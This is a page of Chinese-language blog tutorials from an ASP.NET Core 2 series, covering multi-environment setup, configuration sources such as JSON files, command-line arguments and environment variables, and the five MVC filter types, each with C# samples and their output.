詳細情參考這篇:[鐵人賽 Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

開發環境的錯誤資訊頁面如下:

[鐵人賽 Day17] ASP.NET Core 2 系列 - 例外處理(Exception Handler) - UseDeveloperExceptionPage

參考

Introduction to Error Handling in ASP.NET Core

[鐵人賽 Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

產品從開發到正式上線的過程中,通常都會有很多個環境,如:開發環境、測試環境及正式環境等。
每個環境的組態設定可能都略有不同,至少資料庫不會都連到同一個地方,因此就會有不同環境組態設定的需求。
ASP.NET Core 就提供了相關的環境 API,透過環境 API 取得執行環境的資訊,進而做對應處理。
本篇將介紹 ASP.NET Core 的多重環境組態管理。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

環境名稱

環境 API 可以讀取執行程式的環境資訊,例如:環境名稱、網站實體路徑、網站名稱等。
其中環境名稱就是用來判斷執行環境的主要依據,環境名稱是從系統變數為 ASPNETCORE_ENVIRONMENT 的內容而來。

ASP.NET Core 預設將環境分為三種:

  • Development:開發環境
  • Staging:暫存環境(測試環境)
  • Production:正式環境

要取得系統變數 ASPNETCORE_ENVIRONMENT,可以透過注入 IHostingEnvironment API。範例如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        env.EnvironmentName = EnvironmentName.Development;

        if (env.IsDevelopment()) {
           // Do something...
        }

        app.Run(async (context) =>
        {
            await context.Response.WriteAsync(
                $"EnvironmentName: {env.EnvironmentName}\r\n"
              + $"IsDevelopment: {env.IsDevelopment()}"
            );
        });
    }
}

網站啟動時,IHostingEnvironment 會從系統變數 ASPNETCORE_ENVIRONMENT 取得資料後,填入 EnvironmentName,該值也可以從程式內部直接指派。
環境名稱並沒有特定的限制,它可以是任意的字串,不一定要被預設的三種分類限制。

例如自訂一個 Test 的環境。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        env.EnvironmentName = "Test";
        
        if (env.IsDevelopment()) {
           // Do something...
        } else if (env.IsEnvironment("test")) {
           // Do something...
        }

        app.Run(async (context) =>
        {
            await context.Response.WriteAsync(
                $"EnvironmentName: {env.EnvironmentName}\r\n"
              + $"This is test environment: {env.IsEnvironment("test")}");
        });
    }
}

建議判斷環境透過 env.IsEnvironment("EnvironmentName")IsEnvironment() 會忽略大小寫差異。

組態設定

組態設定檔可以在不同環境都各有一份,或許大部分的內容是相同的,但應該會有幾個設定是不同的。如:資料庫連線字串。
環境名稱也可以跟組態設定檔混用,利用組態設定檔後帶環境名稱,作為不同環境會取用的組態設定檔。

例如:
有一個組態設定檔為 settings.json,內容如下:

Configuration\settings.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "SupportedCultures": [
    "en-GB",
    "zh-TW",
    "zh-CN"
  ],
  "CustomObject": {
    "Property": {
      "SubProperty1": 1,
      "SubProperty2": true,
      "SubProperty3": "This is sub property."
    }
  },
  "DBConnectionString": "Server=(localdb)\\mssqllocaldb;Database=MyWebsite;"
}

正式環境也建立一個名稱相同的檔案,並帶上環境名稱 settings.Production.json,內容如下:

Configuration\settings.Production.json

1
2
3
{
  "DBConnectionString": "Data Source=192.168.1.5;Initial Catalog=MyWebsite;Persist Security Info=True;User ID=xxx;Password=xxx"
}

載入組態設定方式:

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
using System.IO;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) =>
                {
                    var env = hostContext.HostingEnvironment;
                    config.SetBasePath(Path.Combine(env.ContentRootPath, "Configuration"))
                        .AddJsonFile(path: "settings.json", optional: false, reloadOnChange: true)
                        .AddJsonFile(path: $"settings.{env.EnvironmentName}.json", optional: true, reloadOnChange: true);
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

讀取組態設定檔時,會先讀取 settings.json 並設定 optional=false,指定該檔為必要檔案;再讀取 settings.{env.EnvironmentName}.json 檔案。 組態檔載入的特性是當遇到 Key 值重複時,後面載入的設定會蓋掉前面的設定。

以此例來說,當 settings.Production.json 載入後,就會把 settings.json 的 DBConnectionString 設定蓋掉,而 settings.json 其它的設定依然能繼續使用。

前篇[鐵人賽 Day15] ASP.NET Core 2 系列 – 組態設定 (Configuration) 有介紹讀取組態設定檔。

環境設定

利用系統變數 ASPNETCORE_ENVIRONMENT 能判斷環境的特性,可以在各環境的電腦設定環境名稱。
當程式佈署到該環境後,運行時就會套用該台電腦的系統變數。

Windows

Windows 系統變數的設定方式如下: 控制台 -> 系統及安全性 -> 系統[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - 環境變數1
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - 環境變數2

Windows 也可以用指令:

1
SETX ASPNETCORE_ENVIRONMENT "Production" /M

需要用系統管理員權限執行。
如果設定完沒有生效,試著重新登入或重開機。

Linux\macOS

Linux\macOS 可以在 /etc/profile 加入環境變數:

1
export ASPNETCORE_ENVIRONMENT="Production"

IIS

IIS 的 Web.config 也可以設定環境變數:

Web.config

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
    </handlers>
    <aspNetCore processPath="dotnet" arguments=".\MyWebsite.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout">
      <environmentVariables>
        <environmentVariable name="ASPNETCORE_ENVIRONMENT" value="Production" />
      </environmentVariables>
    </aspNetCore>
  </system.webServer>
</configuration>

Visual Studio Code

如果是用 VS Code 開發的話,可以在 launch.json 找到 ASPNETCORE_ENVIRONMENT 的設定如下:

launch.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
   "version": "0.2.0",
   "configurations": [
        {
            "name": ".NET Core Launch (web)",
            "type": "coreclr",
            // ...
            "env": {
                "ASPNETCORE_ENVIRONMENT": "Development"
            },
            // ...
        },
        // ...
    ]
}

透過 VS Code 啟動 .NET Core Launch (web) 時,就會套用該設定的環境名稱。如下:

[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - Visual Studio Code

Visual Studio IDE

若以 Visual Studio IDE 開發(如 Visual Studio 2017),可以從 UI 設定環境名稱。如下:
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) -Visual Studio 2017

或者從 Properties\launchSettings.json 設定:

Properties\launchSettings.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    // ...
    "profiles": {
        // ...
        "MyWebsite": {
            "commandName": "Project",
            "launchBrowser": true,
            "environmentVariables": {
                "ASPNETCORE_ENVIRONMENT": "Local"
            },
            "applicationUrl": "http://localhost:5000/"
        }
    }
}

用 Visual Studio 2017 啟動網站後,就會套用該設定的環境名稱。如下:
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) -Visual Studio 2017

參考

Working with multiple environments

[鐵人賽 Day15] ASP.NET Core 2 系列 – 組態設定 (Configuration)

ASP.NET Core 不再把 Web.config 當作預設的組態設定,而且 .NET Core 讀取組態設定的方式也跟過去不同,不再使用 ConfigurationManager 讀組態設定值。除了從檔案取得組態設定,還有多種不同的組態設定方式。
本篇將介紹 ASP.NET Core 的組態設定(Configuration)方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day15] ASP.NET Core 2 系列 – 組態設定 (Configuration)

ASP.NET Core 的組態設定可以有以下幾種來源:

  • 組態設定檔。如:*.json*.xml*.ini等。
  • 指令參數
  • 環境變數
  • 記憶體物件
  • 自訂組態來源 (實作 IConfigurationSource)
  • Azure Key Vault
  • Safe Storage

本篇不會介紹 Azure Key Vault 及 Safe Storage,有需要的話可以點擊超連結至官網查看。

組態設定檔

可依照個人喜好或團隊習慣的方式建立組態檔,檔名跟路徑並沒有特別的規則。
此例,我在專案當中建立一個 Configuration 的資料夾,並建立 settings.json。

Configuration\settings.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "SupportedCultures": [
    "en-GB",
    "zh-TW",
    "zh-CN"
  ],
  "CustomObject": {
    "Property": {
      "SubProperty1": 1,
      "SubProperty2": true,
      "SubProperty3": "This is sub property."
    }
  }
}

過去 ASP.NET MVC、.NET Framework 的組態設定檔,預設用 Web.config 或 App.config,採用 XML 格式。
現在 .NET Core 建議採用 JSON 格式,比較簡潔易讀。

在 WebHost Builder 用 ConfigureAppConfiguration 載入組態設定,讓組態設定之後可以被 DI。

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using System.IO;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }
        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) =>
                {
                    var env = hostContext.HostingEnvironment;
                    config.SetBasePath(Path.Combine(env.ContentRootPath, "Configuration"))
                          .AddJsonFile(path: "settings.json", optional: false, reloadOnChange: true);
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

ConfigureAppConfiguration 會提供 IConfigurationBuilder 的實例 config,透過 IConfigurationBuilder 載入組態的相關設定。

  • SetBasePath:設定 Configuration 的目錄位置,如果是放在不同目錄,再把路徑換掉即可。
  • AddJsonFile
    • path:組態檔案的路徑位置。
    • optional:如果是必要的組態檔,optional 就要設定為 false,當檔案不存在就會拋出 FileNotFoundException。
    • reloadOnChange:如果檔案被更新,就同步更新 IConfiguration 實例的值。

IConfigurationBuilder 在 WebHost 實例化後,就會建立 IConfiguration 實例,並將 IConfiguration 放入 DI 容器供注入使用,並以 Dictionary 的方式取用組態設定的值。
(DI 可以參考這篇:[鐵人賽 Day04] ASP.NET Core 2 系列 – 依賴注入 (Dependency Injection))

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly IConfiguration _config;

        public HomeController(IConfiguration config)
        {
            _config = config;
        }

        public string Index()
        {             
            var defaultCulture = _config["SupportedCultures:1"];
            var subProperty1 = _config["CustomObject:Property:SubProperty1"];
            var subProperty2 = _config["CustomObject:Property:SubProperty2"];
            var subProperty3 = _config["CustomObject:Property:SubProperty3"];

            return $"defaultCulture({defaultCulture.GetType()}): {defaultCulture}\r\n"
                + $"subProperty1({subProperty1.GetType()}): {subProperty1}\r\n"
                + $"subProperty2({subProperty2.GetType()}): {subProperty2}\r\n"
                + $"subProperty3({subProperty3.GetType()}): {subProperty3}\r\n";
        }
    }
}

從上述範例可以看出,Key 值就是 settings.json 內容的 Node 名稱,並以 : 符號區分階層。

輸出結果如下:

1
2
3
4
defaultCulture(System.String): zh-TW
subProperty1(System.String): 1
subProperty2(System.String): True
subProperty3(System.String): This is sub property.

IConfiguration 是以 Dictionary 的方式取用組態設定,所以 *.json 的最外層不能直接用集合的格式,在最外層用集合會變成沒有對應的 Key 值。錯誤的格式如下:

Configuration\wrong.json

1
2
3
4
5
[
    "en-GB",
    "zh-TW",
    "zh-CN"
]

強型別及型態

上面範例有兩個很大的問題:

  1. 使用字串當做 Key 是弱型別,沒辦法在編譯期間檢查出打錯字。
  2. 型態不符合預期,不管是數值或布林值全都是變字串型態。

要使用強型別,首先要建立相對應的類別,settings.json 的對應類別如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Settings
{
    public string[] SupportedCultures { get; set; }
    public CustomObject CustomObject { get; set; }
}

public class CustomObject
{
    public Property1 Property { get; set; }
}

public class Property1
{
    public int SubProperty1 { get; set; }
    public bool SubProperty2 { get; set; }
    public string SubProperty3 { get; set; }
}

在 Startup.ConfigureServices 透過 services.Configure<T>()以強型別對應 IConfiguration 實例的方式,加入至 DI 容器:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ...
public class Startup
{
    private IConfiguration _config;
    
    public Startup(IConfiguration config)
    {
        _config = config;
    }

    public void ConfigureServices(IServiceCollection services)
    {
        // ...
        services.Configure<Settings>(_config);
    }

    // ...
}

使用的 DI 型別改成 IOptions<T>,如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Options;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly Settings _settings;

        public HomeController(IOptions<Settings> settings)
        {
            _settings = settings.Value;
        }

        public string Index()
        {
            var defaultCulture = _settings.SupportedCultures[1];
            var subProperty1 = _settings.CustomObject.Property.SubProperty1;
            var subProperty2 = _settings.CustomObject.Property.SubProperty2;
            var subProperty3 = _settings.CustomObject.Property.SubProperty3;

            return $"defaultCulture({defaultCulture.GetType()}): {defaultCulture}\r\n"
                + $"subProperty1({subProperty1.GetType()}): {subProperty1}\r\n"
                + $"subProperty2({subProperty2.GetType()}): {subProperty2}\r\n"
                + $"subProperty3({subProperty3.GetType()}): {subProperty3}\r\n";
        }
    }
}

輸出結果如下:

1
2
3
4
defaultCulture(System.String): zh-TW
subProperty1(System.Int32): 1
subProperty2(System.Boolean): True
subProperty3(System.String): This is sub property.

這樣就可以是強型別,且有明確的型態。

指令參數

ASP.NET Core 用 dotnet run 啟動時,可以在指令後面帶入參數,並把該參數變成組態設定。例如:

1
dotnet run SiteName="John Wu's Blog" Domain="blog.johnwu.cc"

程式啟動指令參數會從 Main(string[] args) 取得,再將 args 傳給 IConfigurationBuilder.AddCommandLine() 載入指令參數。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) => config.AddCommandLine(args))
                .UseStartup<Startup>()
                .Build();
        }
    }
}

同樣以 DI 方式注入 IConfiguration 實例,以 Dictionary 的方式取用組態檔的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly IConfiguration _config;

        public HomeController(IConfiguration config)
        {
            _config = config;
        }

        public string Index()
        {
            var siteName = _config["SiteName"];
            var domain = _config["Domain"];

            return $"SiteName({siteName.GetType()}): {siteName}\r\n"
                 + $"Domain({domain.GetType()}): {domain}\r\n";
        }
    }
}

輸出結果如下:

1
2
SiteName(System.String): John Wu's Blog
Domain(System.String): blog.johnwu.cc

環境變數

ASP.NET Core 可以取用系統的環境變數。以 Windows 為例:
控制台 -> 系統及安全性 -> 系統[鐵人賽 Day15] ASP.NET Core 2 系列 - 組態設定(Configuration) - 環境變數1
[鐵人賽 Day15] ASP.NET Core 2 系列 - 組態設定(Configuration) - 環境變數2

Windows 也可以用指令:

1
SETX Sample "This is environment variable sample." /M

需要用系統管理員權限執行。
如果設定完沒有生效,試著重新登入或重開機。

Linux\macOS 可以在 /etc/profile 加入環境變數:

1
export Sample="This is environment variable sample."

在 WebHost Builder 用 IConfigurationBuilder.AddEnvironmentVariables() 載入環境變數。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) => config.AddEnvironmentVariables())
                .UseStartup<Startup>()
                .Build();
        }
    }
}

同樣以 DI 方式注入 IConfiguration 實例,以 Dictionary 的方式取用組態檔的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly IConfiguration _config;

        public HomeController(IConfiguration config)
        {
            _config = config;
        }

        public string Index()
        {
            var sample = _config["Sample"];
            return $"sample({sample.GetType()}): {sample}\r\n";
        }
    }
}

輸出結果如下:

1
sample(System.String): This is environment variable sample.

記憶體物件

這種做法比較像是 Hardcode,直接在 ConfigureAppConfiguration 宣告 Dictionary,然後用 IConfigurationBuilder.AddInMemoryCollection() 載入記憶體物件。如下:

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) => {
                    var dictionary =  new Dictionary<string, string>
                    {
                        { "Site:Name", "John Wu's Blog" },
                        { "Site:Domain", "blog.johnwu.cc" }
                    };
                    config.AddInMemoryCollection(dictionary);
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

同樣以 DI 方式注入 IConfiguration 實例,以 Dictionary 的方式取用組態檔的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly IConfiguration _config;

        public HomeController(IConfiguration config)
        {
            _config = config;
        }

        public string Index()
        {
            var siteName = _config["Site:Name"];
            var domain = _config["Site:Domain"];

            return $"Site.Name({siteName.GetType()}): {siteName}\r\n"
                 + $"Site.Domain({domain.GetType()}): {domain}\r\n";
        }
    }
}

輸出結果如下:

1
2
Site.Name(System.String): John Wu's Blog
Site.Domain(System.String): blog.johnwu.cc

自訂組態來源

自訂組態來源是透過實作 IConfigurationSource 以及 ConfigurationProvider 來載入組態設定。
實作範例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class CustomConfigurationSource : IConfigurationSource
{
    public IConfigurationProvider Build(IConfigurationBuilder builder)
    {
        return new CustomConfigurationProvider();
    }
}

public class CustomConfigurationProvider : ConfigurationProvider 
{
    public override void Load()
    {
        Data = new Dictionary<string, string>
            {
                { "Custom:Site:Name", "John Wu's Blog" },
                { "Custom:Site:Domain", "blog.johnwu.cc" }
            };
    }
}

Data 的內容可依需求填入,例如:

  • 從 SQL Server 取得內容後,轉成 Dictionary 填入
  • 從 Redis 取得內容後,轉成 Dictionary 填入
  • 其它外部資源等

把 CustomConfigurationSource 加入至 IConfigurationBuilder

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) => config.Add(new CustomConfigurationSource()))
                .UseStartup<Startup>()
                .Build();
        }
    }
}

同樣以 DI 方式注入 IConfiguration 實例,以 Dictionary 的方式取用組態檔的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly IConfiguration _config;

        public HomeController(IConfiguration config)
        {
            _config = config;
        }

        public string Index()
        {
            var siteName = _config["Custom:Site:Name"];
            var domain = _config["Custom:Site:Domain"];

            return $"Custom.Site.Name({siteName.GetType()}): {siteName}\r\n"
                 + $"Custom.Site.Domain({domain.GetType()}): {domain}\r\n";
        }
    }
}

輸出結果如下:

1
2
Custom.Site.Name(System.String): John Wu's Blog
Custom.Site.Domain(System.String): blog.johnwu.cc

參考

Configuration in ASP.NET Core

[鐵人賽 Day14] ASP.NET Core 2 系列 – Filters

Filter 是延續 ASP.NET MVC 的產物,同樣保留了五種的 Filter,分別是 Authorization FilterResource FilterAction FilterException Filter 及 Result Filter
透過不同的 Filter 可以有效處理封包進出的加工,本篇將介紹 ASP.NET Core 的五種 Filter 運作方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day14] ASP.NET Core 2 系列 – Filters

Filter 介紹

Filter 的作用是在 Action 執行前執行後做一些加工處理。
某種程度來看,會跟 Middleware 很像,但執行的順序略有不同,用對 Filter 不僅可以減少程式碼,還可以減省執行效率。

ASP.NET Core 有以下五種 Filter 可以使用:

  • Authorization Filter
    Authorization 是五種 Filter 中優先序最高的,通常用於驗證 Requert 合不合法,不合法後面就直接跳過。
  • Resource Filter
    Resource 是第二優先,會在 Authorization 之後,Model Binding 之前執行。通常會是需要對 Model 加工處裡才用。
  • Action Filter
    最容易使用的 Filter,封包進出都會經過它,使用上沒捨麼需要特別注意的。跟 Resource Filter 很類似,但並不會經過 Model Binding。
  • Exception Filter
    異常處理的 Exception。
  • Result Filter
    當 Action 完成後,最終會經過的 Filter。

Filter 運作方式

ASP.NET Core 的每個 Request 都會先經過已註冊的 Middleware 接著才會執行 Filter,除了會依照上述的順序外,同類型的 Filter 預設都會以先進後出的方式處裡封包。
Response 在某些 Filter 並不會做處理,會值接 Bypass。Request 及 Response 的運作流程如下圖:

[鐵人賽 Day14] ASP.NET Core 2 系列 - Filter - 運作方式

  • 黃色箭頭是正常情況流程
  • 灰色箭頭是異常處理流程

建立 Filter

ASP.NET Core 的 Filter 基本上跟 ASP.NET MVC 的差不多。
上述的五種 Filter 範例分別如下:

Authorization Filter

AuthorizationFilter.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.Filters;

namespace MyWebsite.Filters
{
    public class AuthorizationFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationFilterContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        }
    }
}

非同步的方式:

1
2
3
4
5
6
7
8
// ...
public class AuthorizationFilter : IAsyncAuthorizationFilter
{
    public async Task OnAuthorizationAsync(AuthorizationFilterContext context)
    {
        await context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
    }
}

Resource Filter

ResourceFilter.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.Filters;

namespace MyWebsite.Filters
{
    public class ResourceFilter : IResourceFilter
    {
        public void OnResourceExecuting(ResourceExecutingContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        }

        public void OnResourceExecuted(ResourceExecutedContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
        }
    }
}

非同步的方式:

1
2
3
4
5
6
7
8
9
10
11
12
// ...
public class ResourceFilter : IAsyncResourceFilter
{
    public async Task OnResourceExecutionAsync(ResourceExecutingContext context, ResourceExecutionDelegate next)
    {
        await context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");

        await next();

        await context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
    }
}

Action Filter

ActionFilter.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.Filters;

namespace MyWebsite.Filters
{
    public class ActionFilter : IActionFilter
    {
        public void OnActionExecuting(ActionExecutingContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        }

        public void OnActionExecuted(ActionExecutedContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
        }
    }
}

非同步的方式:

1
2
3
4
5
6
7
8
9
10
11
12
// ...
public class ActionFilter : IAsyncActionFilter
{
    public async Task OnActionExecutionAsync(ActionExecutingContext context, ActionExecutionDelegate next)
    {
        await context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");

        await next();

        await context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
    }
}

Result Filter

ResultFilter.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.Filters;

namespace MyWebsite.Filters
{
    public class ResultFilter : IResultFilter
    {
        public void OnResultExecuting(ResultExecutingContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        }

        public void OnResultExecuted(ResultExecutedContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
        }
    }
}

非同步的方式:

1
2
3
4
5
6
7
8
9
10
11
12
// ...
public class ResultFilter : IAsyncResultFilter
{
    public async Task OnResultExecutionAsync(ResultExecutingContext context, ResultExecutionDelegate next)
    {
        await context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");

        await next();

        await context.HttpContext.Response.WriteAsync($"{GetType().Name} out. \r\n");
    }
}

Exception Filter

ExceptionFilter.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.Filters;

namespace MyWebsite.Filters
{
    public class ExceptionFilter : IExceptionFilter
    {
        public void OnException(ExceptionContext context)
        {
            context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        }
    }
}

非同步的方式:

1
2
3
4
5
6
7
8
9
// ...
public class ExceptionFilter : IAsyncExceptionFilter
{
    public Task OnExceptionAsync(ExceptionContext context)
    {
        context.HttpContext.Response.WriteAsync($"{GetType().Name} in. \r\n");
        return Task.CompletedTask;
    }
}

註冊 Filter

Filter 有兩種註冊方式,一種是全域註冊,另一種是用 [Attribute] 區域註冊的方式,只套用在特定的 Controller 或 Action。

全域註冊

在 Startup.ConfigureServices 的 MVC 服務中註冊 Filter,這樣就可以套用到所有的 Request。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
// ...
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMvc(config =>
        {
            config.Filters.Add(new ResultFilter());
            config.Filters.Add(new ExceptionFilter());
            config.Filters.Add(new ResourceFilter());
        });
    }
}

區域註冊

ASP.NET Core 在區域註冊 Filter 的方式跟 ASP.NET MVC 有一點不一樣,要透過 [TypeFilter(type)]
在 Controller 或 Action 上面加上 [TypeFilter(type)] 就可以區域註冊 Filter。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// ...
namespace MyWebsite.Controllers
{
    [TypeFilter(typeof(AuthorizationFilter))]
    public class HomeController : Controller
    {
        [TypeFilter(typeof(ActionFilter))]
        public void Index()
        {
            Response.WriteAsync("Hello World! \r\n");
        }
        
        [TypeFilter(typeof(ActionFilter))]
        public void Error()
        {
            throw new System.Exception("Error");
        }
    }
}

[TypeFilter(type)] 用起來有點冗長,想要像過去 ASP.NET MVC 用 [Attribute] 註冊 Filter 的話,只要將 Filter 繼承 Attribute 即可。如下:

1
2
3
4
5
6
7
8
public class AuthorizationFilter : Attribute, IAuthorizationFilter
{
    // ...
}
public class ActionFilter : Attribute, IActionFilter
{
    // ...
}

[Attribute] 註冊就可以改成如下方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// ...
namespace MyWebsite.Controllers
{
    [AuthorizationFilter]
    public class HomeController : Controller
    {
        [ActionFilter]
        public void Index()
        {
            Response.WriteAsync("Hello World! \r\n");
        }
        
        [ActionFilter]
        public void Error()
        {
            throw new System.Exception("Error");
        }
    }
}

執行結果

http://localhost:5000/Home/Index 輸出結果如下:

1
2
3
4
5
6
7
8
AuthorizationFilter in.
ResourceFilter in.
ActionFilter in.
Hello World!
ActionFilter out.
ResultFilter in.
ResultFilter out.
ResourceFilter out.

http://localhost:5000/Home/Error 輸出結果如下:

1
2
3
4
5
6
AuthorizationFilter in.
ResourceFilter in.
ActionFilter in.
ActionFilter out.
ExceptionFilter in.
ResourceFilter out.

執行順序

預設註冊同類型的 Filter 是以先進後出的方式處裡封包,註冊層級也會影響執行順序。

